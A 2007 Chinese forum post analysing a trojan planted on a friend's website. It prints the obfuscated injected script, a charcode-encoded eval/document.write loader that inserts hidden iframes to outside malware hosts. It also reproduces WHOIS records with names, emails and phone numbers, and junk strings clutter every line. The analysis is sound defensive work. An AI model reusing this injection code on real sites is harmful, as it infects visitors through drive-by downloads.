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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, :GBM`f@  
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http://www.areway.cn/?p=175 g q|]t<'  
<RaUs2Q3.  
6aMG!_jC  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: {1VMwANj  
          :d{-"RAG"  
<script>t=’60,105,102,114,97,109,101, pf@H;QS`  
32,115,114,99,61,104,116,116,112,58,47,47, ^f?>;,<&  
102,114,101,101,46,117,45,117,117,117,46,99, WETnrA"N  
110,47,101,114,114,111,114,46,104,116,109, W+5<=jXFB  
32,119,105,100,116,104,61,49,48,48,32,104, nP5T*-~  
101,105,103,104,116,61,48,62,60,47,105,102, ed\umQ]   
114,97,109,101,62′; %K/zVYGm&  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> Z!eW_""wp  
                                                                                                  tQYkH$e`/{  
<script>t=’60,105,102,114,97,109,101,32,115, a\]g lw\;  
114,99,61,104,116,116,112,58,47,47,102,114, =Ul{#R z  
101,101,46,117,45,117,117,117,46,99,110,47, >JUOS2  
101,114,114,111,114,46,104,116,109,32,119, m6 V L  
105,100,116,104,61,49,48,48,32,104,101,105, edZhI  
103,104,116,61,48,62,60,47,105,102,114,97, VxTrL}{(6  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); z-g"`w:Lj  
document.write(t);</script> 8?z7!k]  
                                                                                                  Eb.k:8?Tn  
<html xmlns=” @;1Ym\zc  
http://www.w3.org/1999/xhtml gAxf5 A_x)  
“> u+_6V  
<head> 6aq=h`Y  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> +B#+'  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> *^=zQ~  
<title>首页 - 爱生活家庭网 \YMe&[C:o  
                                                                                                                                                    _GF{Duxh  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 i[V\RKH*F  
转换字符串后的大概内容是(谁点击后果自付): hwj:$mR  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… ^0T DaZDLp  
                                                                                                                                  tsf)+`vt  
查询玉米u-uuu.cn的详细信息: j.:I{!R#  
Domain Name: u-uuu.cn -qNun3  
ROID: 20070901s10001s64972306-cn !Sj0!\  
Domain Status: ok W9M~2< L  
Registrant Organization: 王雷 @q/E)M?  
Registrant Name: 王雷 "x~su?KiA  
Administrative Email: czlovexs@126.com >Y 8\I  
Sponsoring Registrar: 北京万网志成科技有限公司 ]mZN18#  
Name Server:ns.yovole.com Y)*:'&~2e  
Name Server:ns1.yovole.com X Z4q{^o  
Registration Date: 2007-09-01 17:54 7^<{aE:  
Expiration Date: 2008-09-01 17:54 &cuDGo.  
最后PING了一下地址 都没有什么…. 3-6Lbe9H  
                                                                                                XFmTr@\M  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. !U[/P6 +0  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> nd3n'b  
<script language=”javascript” src=” S|pf.l  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 7B s:u  
> (Ee5Af,4  
这个玉米应该有可能是木马作者的: nA4PY]  
foafau.info的详细信息: Tk~Y  
Access to INFO WHOIS information is provided to assist persons in LZ-&qh  
determining the contents of a domain name registration record in the AdGDs+at,  
Afilias registry database. The data in this record is provided by RIV + _}R  
Afilias Limited for informational purposes only, and Afilias does not n5s2\(  
guarantee its accuracy.  This service is intended only for query-based bg/a5$t  
access. You agree that you will use this data only for lawful purposes |SSe n#PYp  
and that, under no circumstances will you use this data to: (a) allow, <!G%P4)  
enable, or otherwise support the transmission by e-mail, telephone, or [L`w nP  
facsimile of mass unsolicited, commercial advertising or solicitations $Si|;j$?  
to entities other than the data recipient’s own existing customers; or ==]BrhZK  
(b) enable high volume, automated, electronic processes that send e?yrx6  
queries or data to the systems of Registry Operator, a Registrar, or LE]mguvs  
Afilias except as reasonably necessary to register domain names or RTQtXv6mD  
modify existing registrations. All rights reserved. Afilias reserves h*B7UzCg  
the right to modify these terms at any time. By submitting this query, {"WfA  
you agree to abide by this policy. hRaX!QcG3  
Domain ID:D22418703-LRMS D\0q lCAs  
Domain Name:FOAFAU.INFO zbgH}6b  
Created On:20-Nov-2007 16:05:42 UTC ({!S!k  
Last Updated On:20-Nov-2007 16:05:44 UTC ~/l5ys  
Expiration Date:20-Nov-2008 16:05:42 UTC Y DWV=/  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) `x:8m?q05  
Status:CLIENT DELETE PROHIBITED Z(wj5;[G  
Status:CLIENT RENEW PROHIBITED )Rc  
Status:CLIENT TRANSFER PROHIBITED ~pWV[oUD  
Status:CLIENT UPDATE PROHIBITED :N#8|;J1Fl  
Status:TRANSFER PROHIBITED #dhce0m  
Registrant ID:GODA-040110615 y*7{S{9  
Registrant Name:liu hong pSKw Xx  
Registrant Organization: N;mJHr3[F  
Registrant Street1:beijing 5v_vv'~  
Registrant Street2: M"!{Dx~  
Registrant Street3: o ~`KOe  
Registrant City:beijing hUP?r/B  
Registrant State/Province: d3jzGJrU}  
Registrant Postal Code:100000 F1GFn|OA  
Registrant Country:CN p:?h)'bA<  
Registrant Phone:+86.860108888777 ./i5VBP5  
Registrant Phone Ext.: `NB6Of*/  
Registrant FAX: :D:Y-cG*n<  
Registrant FAX Ext.: FXG,D J:  
Registrant Email:bbbshiji@163.com 6^NL>|?  
Admin ID:GODA-240110615 8k9Yoht  
Admin Name:liu hong o>75s#= b=  
Admin Organization: Y{7)$'At  
Admin Street1:beijing mPJ@hr%3  
Admin Street2: |YcYWok  
Admin Street3: !$pnE:K  
Admin City:beijing i#K Y'"P  
Admin State/Province: *6/OLAkyF  
Admin Postal Code:100000 8/"R&yAh  
Admin Country:CN WbJ  
Admin Phone:+86.860108888777 (MzThGJK_  
Admin Phone Ext.: 7!PU}[:  
Admin FAX: y"Ios:v@-  
Admin FAX Ext.: 5a%i%+;N  
Admin Email:bbbshiji@163.com {&uN q^Ch  
Billing ID:GODA-340110615 ap wA  
Billing Name:liu hong F#KUu3;B  
Billing Organization: r<OqI*7  
Billing Street1:beijing p>h}k_s  
Billing Street2: #&,~5  
Billing Street3: I' 'X\/|  
Billing City:beijing Vi<6i0  
Billing State/Province: K_GqM9  
Billing Postal Code:100000 FM,o&0HSd  
Billing Country:CN &1FyauH  
Billing Phone:+86.860108888777 3DOc,}nI~@  
Billing Phone Ext.: s)~Wcp'+M:  
Billing FAX: $J9/AFzO"  
Billing FAX Ext.: 4Hq6nT/  
Billing Email:bbbshiji@163.com ->r udRQ  
Tech ID:GODA-140110615 mt\pndTy7!  
Tech Name:liu hong "?S> }G\  
Tech Organization: Rc(E';uc  
Tech Street1:beijing }m93AL_y  
Tech Street2: <RCeY(1  
Tech Street3: AsO)BeUD  
Tech City:beijing t*wV<b  
Tech State/Province: n'9&q]GN|  
Tech Postal Code:100000 M,sZ8eeq  
Tech Country:CN `N;O6 wZ  
Tech Phone:+86.860108888777 CF]#0*MI  
Tech Phone Ext.: ffG1QvC|M  
Tech FAX: %TYe]^/'y  
Tech FAX Ext.: 1 EwCF  
Tech Email:bbbshiji@163.com jhB+ ]  
Name Server:NS27.DOMAINCONTROL.COM qk=OodEMK  
Name Server:NS28.DOMAINCONTROL.COM ;nw}x4Y[  
Name Server: /E^j}H{  
Name Server: f{+X0Oj  
Name Server: ZsN3 MbY  
Name Server: :RDQP  
Name Server: d;v<rw  
Name Server: i?n#ge  
Name Server: <(_${zR  
Name Server: Gdv{SCV  
Name Server: GzjC;+W  
Name Server: jwO7r0?\`G  
Name Server: # B@*-  
                                                                                                          * TByAa{  
接着下载每个文件里面的代码: :LLz$[c8  
一步一步看.. qJK-HF:#  
N**" u"CX  
j$Vtd &  
>K*TgG6!X  
GB{Q)L  
, %A2wV  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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